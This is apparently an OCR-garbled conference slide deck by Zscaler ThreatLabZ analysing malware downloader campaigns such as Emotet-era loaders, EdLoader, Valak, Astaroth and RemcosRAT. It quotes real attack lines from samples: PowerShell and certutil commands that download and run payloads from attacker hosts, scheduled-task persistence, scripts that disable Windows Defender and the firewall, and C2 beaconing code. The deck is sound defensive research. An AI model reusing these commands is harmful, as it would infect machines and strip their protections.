zscaler

Emerging trends in malware
downloaders |

Deepen Desai, Dr. Nirmal Singh, Avinash Kur

ThreatLabZ

VB2020

localhost

©2020 Zscaler, Inc. All rights reserved. ZSCALER CONFIDENTIAL INFORMATION
Zscaler™, Zscaler Internet Access™, Zscaler Private Access™, ZIA™ and ZPA™ are either (i) registered trademarks or service marks or (ii) trademarks
or service marks of Zscaler, Inc. in the United States and/or other countries. Any other trademarks are the property of their respective owners.



@S> zscaler

Agenda ThreotLob;

* Introduction
» Threat Landscape & Malware Downloaders

* Look at case studies
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Introduction ThreatLabg

» Continuous evolution of threat landscape

Increase in attacks involving multi-stage payloads

Usage of evasive downloader payloads to fingerprint the target

Malware downloaders are non-persistent & performs various checks

Trends in malware downloader payloads from 2019-2020
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Thriving underground economy ThreatLoba
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Typical infection lifecycle ThreatlLobg
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campaigns E-mails with link or attachment

Multi-stage payloads responsible for

e downloading malware

Downloaders
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Downloader Malware Trends Threatlab&

Malware Downloaders FileType Distribution 2019/2020 - Zscaler Cloud Downloader Families by unique payloads in 2020 - Zscaler Cloud

VBA.Downloader.Xanpei
0.0%
JS.Downloader.M0OnD3v

0.1%
Win32.Downloader.Encrypted
0.3%
VBA.Downloader.Powloadsh
0.4%
VBA.Downloader.Dridex
0.6%
Win32.Downloader. Trickbot
0.6%

VBA.Downloader.Emotet
28.8%

Win32.Downloader.Glupteba

1.4%
VBA.Downloader.Valak

1.4%
LNK.Downloader.Astaroth

1.8%
Win32.Downloader.BeamL...
1.9%
VBA.Downloader.Macro
2.7%
VBA.Downloader.Icedid
3.0%
VBA.Downloader.Zloader
3.7%

Win32.Downloader.EdLoader
14.0%

Win32.Downloader.Upatre
11.4%

* Documents represent more than 50% of * Emotet, EdLoader, and Upatre are most prevalent

malware downloaders
W W * Targeted attacks involving Dridex and Trickbot

* Executables are second most popular at downloaders leading to Ransomware
23%
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Study Approach ThreatLahe

Large scale analysis on a data set of tens of thousands of real-world samples

Malware Downloader samples collected from 2019 to 2020 in the Zscaler Cloud

Clustering of samples using static, heuristic, and behavioral similarities

Review malware downloader campaign case studies outlining

obfuscation techniques, delivery mechanisms, anti-analysis & evasion techniques.



Case Study #1 - Win32.Downloader.Zorro
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ThreatLab&

* Use of COVID related filename and e-mail templates. Threat actors attributed as Gorgon, were trying to

take advantage of COVID-19 lures

* This malware campaign is having multiple stages of downloader activity to deploy the final payload on

the victim's machine.

* Targeting a variety of industries such as Telecom, Finance, Manufacturing, Technology.

CnC interaction Activity Between 01 Feb 2020 to 12 Apr 2020
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Case Study #1 - Win32.Downloader.Zorro - Key points Threatlabe

Malware name is based on campaign name in config of the final payload.
Frequent changes in the stages of infection chain but overall attack techniques remains same.
Usage of Gitlab to host payloads
Getting more sophisticated over time
* Dedicated CnC server infrastructure
* No longer using URL shortening services - no more infection stats
* No open directories

Threat actor interested in financial data from the target organizations as evident from the screen
logging keywords configured in the final payload - RemcosRAT.

Looking for banks, casinos, money transfer sites, cryptocurrency related information.
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Case Study #1 - Win32.Downloader.Zorro ThreatLab&

* The DOCX file uses a simple template injection technique to download the next stage payload

* Downloaded template is a RTF document which contains a very old trick to convince users to enable
macros. It repeatedly shows a popup window until the user gets frustrated and clicks enable macros.

version="] encodings standalone=
xmlns= :
[d="1 Type=
Search am; ‘ Targets

- MAAd A«
TargetMode=

ubuntu@ubuntu-Laptop: Loads 1d-git$ rtfdump.py test.rtf | grep Excel

161 evel 4 ¢ 0 pe00002299 1 39 h 14D 0 12 \*\objclass SheetMacro€nabled. ]
39 h= 14 b= 0 U= 12 \*\ .SheetMacroEnabled. 12
39 h= 14 b= 0 U= 12 \*\objclass .SheetMacrotnabled, 17
39 h 140 0 12 \*\objclass SheetMacroEnabled. ]

160
i
219

248

306
335

364

39 h= 14 b= U= 12 jclass .SheetMacrognabled. 17
9 h 14D 0 1 biclass SheetMacroEnabled, 12
39 he 14 b= 0 = 12 \*\objclass SheetMacro€nabled. 12

4
4
4 ¢
2N evel 4 (= 0 8 z 39 he= 14 b= 0 u= 12 clas .SheetMacro€nabled. 12
4 =
4
4




Case Study #1 - Win32.Downloader.Zorro

RTF document contains an
Excel sheet containing macros
embedded

Command saved as reversed
string in document properties as
comment.

Downloads an executable which
is again a downloader having an
encrypted PowerShell which
loads itself during runtime.
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Junp is taken

ThreatLab&
004094B4(] . 69CA OR EDX,ECK A|Registers (FPU) C <«
004094B6|| . 88 BLGFO0OILEA ECK,DWORD PTR DS:[EBX+FBY4] EAX 106309508
004094BC|| . 807426 68 |LEA ESI,DUORD PTR DS:[ESI] ~|Ecx e03vauBe
004094C8|| > 13110 XOR DWORD PTR DS:[EAK],EDX EDY 78787878

.| 8300 04 ADD EAX,4 EBX 00309508 ASCII 70,"ouershell -u 1 -exec bypass -ec JABjA
. | 39¢1 CHP ECX,EAX ESP 0022ED90
M5 R JNZ/ SHORT 62799621.004094C0 EBP 0B00003F
. OFBO842Y 7001MOUZX EAX,BYTE PTR SS:[ESP+170] ESI 06780000
004094DT|[ . 3083 B4OFOOO[XOR BYTE PTR DS:[EBX+FBA4],AL YIEDI 68309508 ASCII 78,"ouershell -u 1 -exec bypass -ec JABjA
1) ?

EIP 064094C7 62799621.004694C7

L 00uA0N00=-62700421 GANAOLLE £ A FS AR hit A(FFEFFEEE)
fddress |Hex dunp [asc1n ﬁ“m
003D94FS| 00 00 00 00 00 00 60 00 FC 61 FC 01 09 67 18 00]........ iiniin.m. 0022ED94|  B000FCO
00309508\ 70 6F 77 65 72 73 68 65 6C 6C 20 2D 77 20 31 20| povershell -u 1 0022ED98) 60660000
00309518/ 2D 65 78 65 63 20 62 79 70 61 73 73 20 2D 65 63 -exec bypass -ec 0022EDSC | B22EF B4
06309528|20 4A 41 42 6A 41 47 38 41 62 51 41 67 41 bk 30| JABIACSABQAgADO 0022EDAD) OOGOOOG2)
00309538 |41 49 41 41 69 41 46 55 41 64 77 42 43 41 47 77|AIAALAFUABCAGY 0022EDAL| 0035069C ASCIT “1pIpipip1ipipIpipIpipipIpipil
0030954841 51 51 42 49 41 46 45 41 51 51 42 4D 41 46 45|AQQBIAFEAQQBHAFE 0022EDAS| 06000638
00309558 |41 51 67 42 4F 41 45 45 41 53 41 42 42 41 45 45| AQgBOAEEASABBAEE 0022EDAC 60000610
00309568 |41 56 51 42 42 41 45 49 41 65 51 42 42 41 45 63| AUQBBAEIAeQBBAEC 0022EDBG| 00000028
00309578 |41 56 51 42 42 41 46 6F 41 58 77 42 43 41 47 77| AUQBBAFOAZuBCAGY 0022EDBY| 00240640
24 rs ra snlsn v 4 e enlos ra rs o snles 14 vr srlananvarsannn are AR29ENRA| GAGAY 000

Decrypting PowerShell code
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Case Study #1 - Win32.Downloader.Zorro

Stage 2 script performs the following tasks:

« Create directory “$env:temp\\drivers”

» Checks if it has admin rights through the security
identifier
If yes:
A Disable Real Time Monitoring

4 Add the following path to exclusion list for
WinDefender:

o “$env:temp\\drivers”
o “C:\\Users\\supportaccount\\”
o &$env:ProgramData\\temp”
O Set SmartScreenEnabled = Off
O Set WinDefender settings at various registry keys
o DisableEnhancedNotifications = True
o DisableNotifications = True

U Stop and delete following services (Malwarebytes
antivirus):
o MBAMService
o MBAMProtection
O Creates services

PowerShell script disables Windows
Defender and windows update
service.

Downloads and executes stage 2
multi-layer obfuscated PowerShell
script from gitlab[.Jcom
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Case Study #1 - Win32.Downloader.Zorro e

lok - master - asd dsa / loki - GitLab - Mozilla Firefox

* Finally it will download, decrypt and
execute the injector RunPE
component which will decrypt and
inject code into the specified
process.

* Payloads downloaded from Gitlab in
this campaign: Azorult Infostealer.

* The injector is .NET compiled
executable, obfuscated using
Confuser.

«» asd dsa - GitLab X | «» rta-master-asd d X | «» base - master - asd X | «» base - master - asd X | «» clp-master-asd ds: X [EENEUISINENESECREENPE -+

<« c @ 9 & gitlab.com, B -9O % L oIn @ @ ¥ @ e =

&) GitLab  Projects Groups Snippets  Help COIN? I sign in / Register
L loki 3sd dsa > loki > Repository
1Y Project overview master loki / lok Q Find file Blame History Permalink
B Repository
o
,555‘ Update lok f5a32475
Files &% asddsa
Commits
B lok3same [B m | Web IDE } B B &
Branches —
Tags @$4D,@$5A,@$90,@$00,@$03,@$00,@$00,@$00,@$04,@$00,@$00,@$00, @$FF, @$FF,@$00,@$00, @$B8,@$00,@$00,@$00,@$00,@$00, @500, @$C

Contributors

Hex Encoded payload hosted at gitlab

( FTONJ, [] coco)

oci coci = Coci();
(FTONJ, coco);

Deobfuscated code
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Case Study #2 - Win32.Downloader.EdLoader ThreatLale

* Also known as GulLoader, prevalent in the wild in 2020.

Initial infection vector starts with a spam email.

Malicious document attachment or a link to download the malicious document.

Uses macro or an exploit to download the payload.

Leveraging Google drive, OneDrive to download final payload.

Many anti-analysis tricks used to hinder analysis.

14
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Case Study #2 - Win32.Downloader.EdLoader ThreatLaba

A
Users fail to understand l

social engineering trick and

open the malicious attachment ”
R Y

phishing email |

Attacker distributes
e-mail with malicious
attachment to the
targeted users

. Target system is exploited

Targeted users

5%

brstock.com - 664976128

Attacker . Compromised system|

Data is exfiltrated
to the attacker in
stealthy manner
Downloader installed

Data is stolen the target system

from the Downloads final
compromised payload
system
Final payload Malicious downloader

Stolen Data

installed on the
target system

15
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Case Study #2 - Win32.Downloader.EdLoader ThreatLale

* The RTF document contains excel sheets that leverage the CVE-2017-8570 vulnerability exploit to
download the initial payload on the victim’s machine.

* The SCT file contains a hardcoded base64 encoded URL, downloads the initial payload via a
PowerShell command and saves it into the %APPDATA% folder, then executes it.

|& rocmoxonghons scT 3 |
<?XML version="1.0"?><!--In publishing and graphic design, lorem ipsum 1is a placehd
G68Ht46643utk ‘345
JFRGFDYFHCGkyfisushrS6ScriptExecute (sdfsdfsdf) 106r6tTDITRWGRRYTY = "-948249551+3024
<scriptlet
[[>aaaaaa '101

6 In publishing and graphic design, lorem | PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -Nologo -command " (New-Object
7 HIn publishing and graphic design, lorem | gystem.Net.WebClient).DownloadFile('httP://ahkdev.com/riogil/build EBD4.exe', 'C:\Users\admin\

Func;i:i(;::i(Ob’) appdata\build EBD4.exe');Start-Process 'C:\Users\admin\appdata\build EBD4.exe'"

End Function

12 fadfdsfs = "hDruP:i//abkdev.com/Xioqil/build EBD4.exe"” °345
13 yulkytjitrhtirkdsarjky ="build EBD4.exe” '34S5

14 frease = """
| itype = "bin.baseé4q4”
16 Function aseé4Decode (ByVal sBase64EncodedText, ByVal fIsUtflé6LE)

Dim sTextEncoding

Af fIsSUCf16LE Then sTextEncoding = "utf-16le” Else sTextEncoding = "uc!-aﬁ
' Use an aux. XML document with a Baseéfd-encoded element.

' Assigning the encoded text to .Text makes the decoded byte arrxay

21 ' available via .nodeTypedValue, which we can pass to BytesToStrx()

22 Set alxmd = CreateCbject ("Msxml2.DOMDocument”™) .CreateElement ("aux”™)

23 alxmd.DataType = itype

24 Wich alxmd

16
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Case Study #2 - Win32.Downloader.EdLoader

* This scenario involved XLSM files having obfuscated malicious macros.

ThreatLab&

* When a victim opens the Excel file, a macro code will be automatically executed. A hardcoded URL is
used to download the initial payload and is executed via a PowerShell command.

| Workbook

=] [oven

S1AVBvCVvMNPVYRGaT1LYHEFPAJIRUNDIi StwoTASWUONMXHhUYAaEEC QKR
NWAllO0dIkeRWQSHSNe ZnmNmOWRATDspX ) ZBXAHFFLFPSLgYFImMLI QWA
ZEGJUFEENKunMmfRGYoxgHoCIlnYanBagMTENOSGACBOARTHOJUFLWuT
mPEYBhzagkNaNKRYJnoVAOLGXr fERNRPenAJIXITETXICcDoCeMRVX1Yn

Replace (slAvBvcvMNPVvRGaTLIYHIFPAJLRUNDiStwoTAS
Replace (nNWAllCdIkeRWQSHSNeZnmNmOwWRdtDapX) zBxAH
Replace (ZEGJUFEENKunMmfRGYoxgHeClnYamBagMTbNOS
Replace (mPEYBhzmgkNaNKRYJInoVAOLGrfERnRPenAJxXLT

L 2
AlPYFXIXkyHNLkvIYZIXBPkDaOWBnpS3ifXcSIynGmCZNRrOSTcLCDV = OQIMPRVvVVEXQKZGCZPioxFHnIoivwOLDQTvyUJaBvaAJdTmu
SWMGLACJIPXTIVMSMKBMQIMKQESIiEPNLBeJFGGCINZCIXOHVBZgNKLRG = JItEbVAYBYPVQYdDPKCarRIJALOPOXrRAyunpwFyaQweXsSZ
GLGBSrtPCOMVMcHMIFRNYMHEZiWxXhZ I ZBLxXyPkbprGNFgxHeunbaRMgz = MITWiIiAFBIzIrQLlIGKLOWPIMCILeOBkifDzvWDELaLwvStIDy

Q_m.lnn =" 4+ GLQBSrUPCGMVMcMFRNYMHZiWxXhZ)ZBLxXyPkbprGNFgxHeunbaRMgz + * " +

== <] J

Expr | vane

&8 ByUZOKTAxaBYoyRpFYcFITrZKNIGAUkycs SCOXuhHhaQvipQWGUNFka “(new-object System Net WebdClent) DownloadFie”

&8 EnolyNERGsSTFofOGLspXTDCOQUUCPRigBVLIVREKLPSmbw IIGQ “Netp94.242.57 . 190/ocrguiazz exe”

&5 JREDVAYBvpVQYdDPKCsrRIADPOXRAyumpwFyaQweXSZENGHEVWD “FoXEP Exe’),(New-Object -com ShelLApph ). Shel> ste(Senv-Temp+"FoXEP Exe’)”

&8 NTIWIAFBJ ZJrOGKLowPIMCHe O BfOWDE BL vSIDnA KRN “powershel exe™

&8  mMPEYBhImgkNaNKRY JnoVAOLGERNRPenAIXRETXCIO00eMRVXIY N “bypass”

&8  NWAIDIKeRWQSHSNeZnmNmMOwWRAMDSpX2BxAHFFLFOSLgyFTmLigWA '(‘

68 ESCWxUkpDHNATNPNVSQLNDY QaZrVrwOhRMDGPPR Y UgWysDAKREX “CARXGZZGHOX™

&  UNDHWDqwZpZDORGRXIPOHZZOMOSvmXQvIzesDbbIOROIMITSZoQ «<Out of context>

17
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Case Study #2 - Win32.Downloader.EdLoader ThreatLale

* EdLoader typically comes as a VB5/6 file containing encrypted shellcode.

* More than 70% of the samples were connecting to Google drive to download RAT and PWS

* Downloads multiple well-known malware family payloads:

Win32.Backdoor.NetwiredRC
Win32.Backdoor.AgentTesla
Win32.Backdoor.RemcosRAT
Win32.Backdoor.Predatorlogger
Win32.PWS.AzoRult
Win32.PWS.Lokibot

18
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Case Study #2 - Win32.Downloader.EdLoader ThreatLaba

* Anti-analysis - This downloader uses
different anti-analysis techniques:

- [ 1 [T CR, DUORD PIR SorCEorrIey Iz M
* It enumerates all top-level windows on the B T
screen using the EnumWindows API to c - % S S
identify sandbox/emulators. If the count of B D) G oaspssG i -
: : . . . i 0EC D A a5df_exe. BOAERES
windows is less than 12, it terminates itself. PR 1 S— o ene. 0040289
o1 st e, 004555
* |t patches the DbgBreakPoint and 1 e
. . . 8950 @3 MOU DWORD PTR DS: [ERX43),EDX ntdl L. KiFastSystenCal IRe
DbgUiRemoteBreakin Windows APIs as an cawr |m e o o A
anti-debugging measure gRUg e m e
» Tries to detach from the attached debugger

using the NtSetinformationThread Windows
APl and an undocumented thread information
class - ThreadHideFromDebugger (0x11).
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Case Study #2 - Win32.Downloader.EdLoader ThreatLale

* Checks for debug registers

SBA46A MOV ERX,DWORD PTR DS:[EDXK+ECK]
a1F3 ADD EBX, ESI

* Before making a call to some Windows APls, - e Hm nuoan RTREDSTLEBK]

it also checks for breakpoint instruction in API gy Erul T

: NOP
code. BF7EC1 HOUD ECK, M@
31F2 109EF938 §3gﬂsoxxaeF°°Ele
* Uses a simple XOR encryption, the 8 PO DK N

decryption key is hardcoded. 89 POP ECK

* Decrypted payload is mapped and executed oRT=TrY
J0OPEEEIEEEE
in the same process. Depending on the
configuration in shellcode 11

8@ BE| 1F B4 69 CD|21 B8 81 4C/CD 21 96 2a(| ».AY{. "ﬂUL—’EE
54 68 69 73|20 70 72 6F|67 72 61 60|28 6D 75 V3| This program mus
74 28 62 65|28 72 75 6E 20 75 6E 64|65 72 28 57(t be run under U
69 6E 33 32|60 A 24 37|00 06 00 00 60 60 B0 B0) in32..57. . 0uee.

20




@S> zscaler

Case Study #3 - Frenchy AutolT Shellcode Threatlab&

In December 2019, we saw a number of Autolt and .NET samples from different malware families
utilizing what is being called Frenchy shellcode.

The name is based on the mutex name it creates “frenchy_shellcode_{version}”’
AES key used for decryption.

Performs Anti-VM checks.

Uses persistence mechanism.

ShellCode perform hollow process injection.

21



> zscaler

Case Study #3 - Frenchy AutolT Shellcode ThreatLab&

® Execution starts with extraction of the embedded

compressed resource which is a .NET compiled
DLL binary.

®* The DLL extracts an embedded AES encrypted

resource which upon decryption, turns out to be
another .NET compiled executable

®* Performs virtual environment check before
establishing persistence
®  If SbieDIl.dll is present

* If the caption of the main window of any running
process is empty.

® Extracts Frenchy shellcode and main malware
binary



Case Study #3 - Frenchy AutolT Shellcode

* The shellcode performs hollow process injection.

* Maps DLL using ZwOpenSection and ZwMapViewOfSection APlIs.

* This technique helps bypass APl monitoring that is done by some sandboxes in user space.

* Creates a suspended process, new section and copies the main malware payload.

* Final payload observed: 404Keylogger, AgentTesla, AsyncRAT, DarkComet, HawkEye, LimeRAT,
Nanocore, NetWiredRC, NjRAT, RemcosRAT, AZORult, FormBook

@ zscaler
ThreatLab&

50

<

8970 D4
FF95 84010000

57 push edi

68 00000008 push 8000000

6A 40 push 40

8945 DO mov dword ptr ss:febp-30),eax
8D45 DO lea eax,dword ptr ss:febp-20)
50 push eax

s7 push edi

68 1FO000F00 push FOO1F

8045 EO lea eax,dword ptr ss:febp-20)

push eax
mov _dword ptr ss:febp-2C],edi
lcan duord ptr ss:febp-154]

57 push edi
57 ush edi
8D8S GOFEFFFF ea eax,dword ptr ss

50
FF95 2010000

:Bebp-1408

lu‘ll dword ptr ss:febprizc) |

m

dword ptr [ebp+12C]=[0035E85C <&CreateProcessw>]=<kernel32.Createfrocessw>

push eax eax:L"C:\\Users\\Admin\\Desktop

2nd. exe"

:g SU§: C:x dword ptr [ebp+184]=[0035E884 <&ZwCreateSection»)=<ntdll.ZwCreatesection>
u e

57 push edi

68 0C000008 push 500000C

57 push edi

57 push edi

23
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Case Study #4 - Win32.Trojan.Valak ThreatLah&

® Observed the Win32.Trojan.Valak campaign starting in April 2020
® Malicious Office documents were being delivered through spam emails

® Attackers used compromised WordPress sites to distribute the payload and target multiple
industry verticals.

® Using obfuscation to avoid machine learning based detection.
® Using Anti-sandbox

®* Downloads Win32.Banker.Ursnif and Win32.Banker.Icedid which are well known banking Trojans.

24
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Case Study #4 - Win32.Trojan.Valak ThreatLab&

®* Macro code contains lines of random dictionary words used to obfuscate the macro and evade
machine learning based detection.

* The macro contains the URL of the payload as a combination of one or more of the following
obfuscations: base64 encoded, reversed, or string split.

* The first payload it downloads is a DLL which is executed using the command regsvr.exe

Dim arr(© To 13)
Trim("—~03bnbB8N8KCDleI3jnS™
Trim("6wZuYdgSBgbKIfldhlINY™
Trim(" -ED4GaRX7bqUpiBPhwWgH"
Trim("YEvDIJFsrwm5Y8N5ne-aA™"
Trim("yQvBISdd3SIxpmIejiKD™"
Trim(*"lMZTuSeySU2Kbo107Ydy"
Trim("XojPOvgUKLKPbM7dIqIL"
Trim("38IwXQuTyH H-JwWLv8TV"™
Trim("z68EcwpAKCCNWADM=x?p"
Trim("hp.dnoCR3eNt70dSCfTZ ™
Trim("/egapnigol/snigulp/t")
Trim("netnoc-pw/gro.ri-psd")
Trim("//:ptth")

L

G9.wq StrReverse(Join(arr, ""
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Case Study #4 - Win32.Trojan.Valak ThreatLab&

* Drops JavaScript in the %temp%

* The JavaScript contains the configuration data as
shown in figure.

* Legitimate domains in the list of C&C servers and

generates legitimate network traffic for hiding
C&C activity.

® anti-sandbox check - if system uptime is less
than 3000 exit

* lterate over the list of C&C servers to get the next
level payload.




Case Study #4 - Win32.Trojan.Valak

* Append system data with C&C
URL to iterate over the list of C&C
servers to get the next level
payload.

* Data sent includes:
* User name
* Computer name
* User domain
* Uptime
* SOFT_SIG

* (C&C response data is encoded
using base64 and character
rotation and look for the keyword

“<<<CLIENT__” in the response
data.

&> zscaler
ThreatLab&

GetInfoBlock (nonce) {

shell =

username = shell.ExpandEnvironmentStrings ("%

pcname shell .ExpandEnvironmentStrings ("%

domain = shell.ExpandEnvironmentStrings ("%USERDOMAIN%");

corp = (pcname.toUpperCase() != domain.toUpperCase()).toString();

uptime = GetUptime().toString();

id = GetID();

infoBlock = [username, domain, corp, id, config.SOFT_ SIG,
config.SOFT_VERSION, upulme”

sessionRey = nonce + config.C2 OB REY;

= infoBlock.join(":");

rotl3 str foBlock, derive key(sessionKey));

r(i
k = Baset4Encode (infoBlock) ;

encodeURIComponent (infoBlock) ;

GetURI () {
nonce = randomString(12);

infoBlock = GetInfoBlock(nonce);

System data used in building the URI
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Case Study #4 - Win32.Trojan.Valak ThreatLab&
o Persist (body) {
Stage 2 JavaScript performs shell = new ActiveXObject ("WScript.Shell");
e \Writes the second JavaSCI’ipt username = 3hlell.ExpandEnvironmentS::ings("%.\:_::._—\..,_'."
payload in the registry key < = -
location var command = "WSCRIPT.EXE

andomString(31) + " "

* Creates an empty file with file
extension as JAR N
(C:\\Users\\Public\\PowerMana [ e
gerSpm.jar) and writes
JavaScript code in ADS.

shell.Run("schtasks.exe

WriteRegistry("ServerUrl",

CreateFile (ntuser);

WriteADS(ntuser, "LocalZ

» Executes JavaScript payload
stored in registry key and
creates a scheduled task to
execute the JavaScript code
written in ADS of JAR file

Adding persistence via a scheduled task and registry.



Case Study #4 - Win32.Trojan.Valak

C&C communication:

* Collect respective data from the system and send it to the
C&C over an HTTP POST request using a modified
Base64-encoded URI.

*  Build the URI with the following parameters:
* id - System/Bot ID
* noncel - random value
* plugin - Plugin name
* ltype - Log type
* nonce2 - random value

* The Base64 encodes the URI and replaces
strings according to following table:

* Finally it inserts “/" at specific intervals in the URL, making
the final URL format: {c2}/json-rpc/{encoded uri}.html

text

> zscaler
ThreatLab&

text = string.Concat ( [] {
Utils.GetInteger (0, 10000).ToString(),
Bot.GetID(),
=", PluginConfig.NAME,
=", PluginConfig.LOG TYEE,

nce2=", Utils.GetInteger (1000, 2f ring() 1

= Convert.ToBase64String (Encoding.ASCII.GetBytes (text));

= text.Replace

cea") ;

("::“I
text.Replace("=", " 3DF");
("+", "="):

text.Replace("/", " ");

text.Replace

string.Join("/", Utils.Split(text, Utils.GetInteger (10,

30) ) . ToArray< >());

Parameters used to build the URI.

Final Payloads are Ursnif and IcedID



Case Study #5 - LNK.Downloader.RemcosRAT

® Observed the LNK.Downloader.RemcosRAT campaign starting in mid April 2020

® Multi-stage downloader.

® Use of malicious BAT and PowerShell script combination

®* Uses AES encryption technique to evade security engines

Target:

IR | e e s ) e ) s syt
lm 58562fe1baal30e401 e6343bes7
T arget type: Application

T arget location:

‘.rm-.. “hittp

Start in: I Zwindir® I
Shortcut key: INone I
Rur: I MNormal window S l

Comment: I I

[ Find Target... | [ Changelcon... | [ Advanced... |

&> zscaler

ThreatLab&
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&> zscaler

Case Study #5 - LNK.Downloader.RemcosRAT ThreatLab&

* LNK file download first stage BAT files using powershell from hostengage[.Jcom[.]br/stage_1/l.ps1

%comspec% /c “powershell -ep bypass -nop -w hidden -c iex(new-object
net.webclient).downloadstring(‘hxxp.//hostengage.com.br/stage_1/.ps1’)”

The BAT script creates two scheduled tasks:
1. A task named “rr” that calls LockWorkStation APl of USER32.DLL to lock the screen.
2. A task named “r” that performs the following actions -
a. Creates a folder - “pupnb” - in %APPDATA%
b. Downloads base64 encoded BAT script using certutil.
c. Decrypts BAT script using certutil.
d. Running the BAT script.

€& = C' [Jhostengage.com.br/stage_1/1psi

SCHTASKS /CREATE /SC MINUTE /TN rr /TR "cmd /o rundll32.exe user32.dll,LockWorkStation™
SCHTASKS /CREATE /SC MINUTE /TN r /TR "cwd /c mkdir C:\ProgramData)\pupnb & certutil -urlcache -split -f
http://hostengage.com.br/stage_1/y.b64 C:\PrograwData)pupnblz.bé4 & certutil -decode C:%\ProgramData’\pupnb)z.bé6d

C:%ProgramData’ pupnbif.bat & C:\ProgramData)pupnb\f.bat"
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Case Study #5 - LNK.Downloader.RemcosRAT

BAT script performs the following activity:

1. Launches a hidden PowerShell script to
download two files:

a. Final payload - “out.exe.b64.aes” - which is
AES encrypted.

b. AES decryption tool - “aescrypt.exe”.

2. Decrypts “out.exe.b64.aes” file using AES
decryption tool - “aescrypt.exe” and password
“ffzrqdigon”.

3. Creates Windows schedule task with name
“r’ and file path as
“C:\ProgramData\pupnb\out.exe”

@S> zscaler

QECHO OFF

SCHTASKS /delete /IN "r" /£

SCHTASKS /delete /IN "rr" /f

powershell.exe -windowstyle hidden (new-object System.Net.WebClient).Downl

http://hostengage.com.br/stage 2/out.exe.bed.aes', 'C:\ProgramData\pupnb\ou

powershell.exe -windowstyle hidden (new-object System.Net.WebClient).Downl
http://hostengage.com.br/stage 2/aescrypt.exe’, 'C:\ProgramData\pupnb/aescr
C:\ProgramData\pupnb/aescrypt.exe -d -p ffzrgdlgon C:\ProgramData\pupnb\ou
certutil -decode C:\ProgramData\pupnb\out.exe.béd C:\ProgramData\pupnb\out
SCHTASKS /CRERTE /5C MINUIE /TN "r" /IR "C:\ProgramData\pupnb\out.exe"

del C:\ProgramData\pupnb\z.bé4

del C:\ProgramData\pupnb\f.bat

del C:\ProgramData\pupnb\out.b64

del C:\ProgramData\pupnb\out.cfg

exit

ThreatLab&
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Case Study #6 - LNK.Trojan.Astaroth

Campaign observed in mid 2019 targeting Brazilian users.
Leverages WMIC (Windows Management Instrumentation Command)
Leverages Google Cloud storage for hosting subsequent payloads

Uses Windows utilities bitsadmin.exe and certutil.exe to download

Uses Windows legitimate process regsvr32.exe to execute the payload.

&> zscaler

ThreatLab&
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@S> zscaler

Case Study #6 - LNK.Trojan.Astaroth ThreatLah&

® Phishing mails delivers LNK file that leverages the WMIC (Windows Management Instrumentation
Command) tool.

®* Downloads the malicious XSL file from Google cloud storage.

* XSL file has the JavaScript code that downloads final payload.

C:\\Windows\\system32\\wbem\\WMIC.exeosgetxvhj6luts,uj6erks, freevirtualmemory
/format:"http://storage.googleapis.com/teslaasth/ 06/v.txtﬂ

34




@S> zscaler

Case Study #6 - LNK.Trojan.Astaroth ThreatLah&

e JavaScript selects random URL to o
download the final payload. smaeier = 04/

pingadori = radador(!,.7);
if (pingadori == )

* Builds different parts of the URL in following q

XVRXastaroth = "hutp://IArnbisy4"+radador (1111111, )+".dy2-nobody. con: “+radador (25000,2 )+"/"+smaeVar;
. ]
way: if (pingadozi == )
® It generates a random number in the range, gt - - ,
. XVR¥astaroth = "huto://ULHKrcied"sradador(li11111, )+".dy3-nobody. con: “exadador (25000,2505%) " /"+smaeVar ;
1111111 to 9999999 and appends it to the -}
sub-domain. o Gt =)
[ |t generates another random number in the );Vk)lasuroth ® "htto://k404R0IF T "eradador (1111111, )+".dyi-nobody.con: “exadador (25000,25054) " /"+smacVar;
range, 25000 to 25099 and uses it as port if (pingadori = {)
Bt
number‘ XVRiastaroth = "huto://etUI rnc"sradador (1111111 : )+". izpressoxpz0783, com: "sradador (25000,2505%) ¢"/ "ssmasVar;
rl
. if (pingadori == 5)
* Reason for generating these random B
. . XVRXastaroth = "huto://13E0FJixz"+radador (1111111 ) )+". impressoxpz3982, com: "eradador (25000,25045) ¢"/"ssmasVar;
numbers is to prevent detection of the ~;
] if (pingadori == ¢)
network traffic. ]
XVRKastaroth = "huto://xvvifd2é7"+radador (1111111, )+" . impressoxpz598295. con: "eradador (25000,25059) +"/"+smaeVar;
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@S> zscaler

Case Study #6 - LNK.Trojan.Astaroth ThreatLah&

* Uses bitsadmin to download the M .
payload. ]

* Windows legitimate process
regsvr32.exe is used to run second
stage malicious payload.

* Binary is executed with the command

line arguments: “/kct/<random_number>" [ aiznsnell. run (' regevroz.exe /5 " tstemds ", 0, true) s

A.ShellExescute ("cmd "+3VarTEMRaz+' /s "'+stemd+'"', " ", "open", 0
/ShA.ShellExecute ("cmd", ' /k "regsvr32 /s "'+stem4+'"', " ", "open", 0

* Final palead is Guildma (Banker)_ Shi.ShellExecute ("regsvr32.exe™, ' /s "'+stemd+'"', " ", "open", 1);

Process regsvr32.exe
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&> zscaler

Case Study #7 - BAT.Downloader.Crysis ThreatLak&

* _NET binary containing embedded base64 encoded batch file

* BAT file downloads & executes final payload

@echo orfrf

techo Windows Defender Disable v0.00S

pause

necsh advfirewall set allprofiles state off

necsh advfirewall set privateprofile state off

Reg add “HXEY LOCAL MACHINE\SOFIWHARE\Policies\Microsoft\Windows Defender™ /v DisableAntiSpyware /t REG_DWORD /4 1 /72

ENetSh AdvFirewall Show AllProfiles Statelfind /I = ON">Nulss (goTteo on)ligoto off

zon

neTtsh advfirewall set allprofiles state off

Reg add “HEEEY_ _LOCAL MACHINE\SOFIWARE\Policies\MicrosofT\Windows Defender™ /v DisableAntiSpyware /ST REG_DWORD /s/d 1 s
REG ADD “hklim\software\policies\microsofT\windows defender™ /v DisableAntiSpyware /Tt REG_DWORD sd 1 /T
Swindir\systea32\windowspowershell\vil.0\powershell .exe -—encodedcommand

S IEJFRYASICIISONVO I X FbaZ pemSubWVudCIKIESBTUUGPSASAZIuZGlyIgokQOSNIUFCRCASICT ) ZXJOAXRpECATAN IsY2F3 aGUgLX NG 10 ICInIGhOdEB=Oi SvY2RY
2MD I OM I kv CcGFSbGONZCS 1eGVIIHBReSS1eGUQIiBWwYXkuZXn)l IgpOZXct SXRIBVEBYy D 3IB1cARSICIQYXROICRSRUCgLUSREWNUGQJIESBIUUGLVZRbEVIICRDTOINQUSEIC14
